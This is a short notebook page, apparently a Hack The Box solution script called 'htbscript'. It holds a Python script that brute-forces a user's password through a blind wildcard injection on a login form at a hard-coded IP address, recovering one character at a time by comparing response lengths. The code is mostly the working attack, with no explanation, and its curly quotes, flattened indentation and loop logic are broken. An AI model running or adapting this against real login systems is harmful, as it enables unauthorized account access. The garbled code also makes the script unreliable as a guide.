Learn practical skills, build real-world projects, and advance your career

htbscript

Use the "Run" button to execute the code.

!pip install jovian --upgrade --quiet
import jovian
# Execute this to save new versions of the notebook
jovian.commit(project="htbscript")
[jovian] Attempting to save notebook..
import requests
from string import ascii_lowercase, ascii_uppercase
url = ‘http://178.62.75.134:31215/login'
headers = {‘Host’:’178.62.75.134:31215',
 ‘User-Agent’:’Mozilla/5.0 Firefox/78.0',
 ‘Content-Type’:’application/x-www-form-urlencoded’,
 ‘Connection’:’close’}
chars = ascii_lowercase+ascii_uppercase+’0123456789_{}()’
pswd = ‘’
while(1):
 for char in chars:
 tmp = pswd+char+’*’
 data = {‘username’:’reese’,’password’:tmp}
 r = requests.post(url, headers=headers, data=data)
 
 if r.headers[‘Content-Length’] == ‘2586’:
 pswd+=char
 elif char==’)’:
 print(pswd)
 break
 
print(pswd)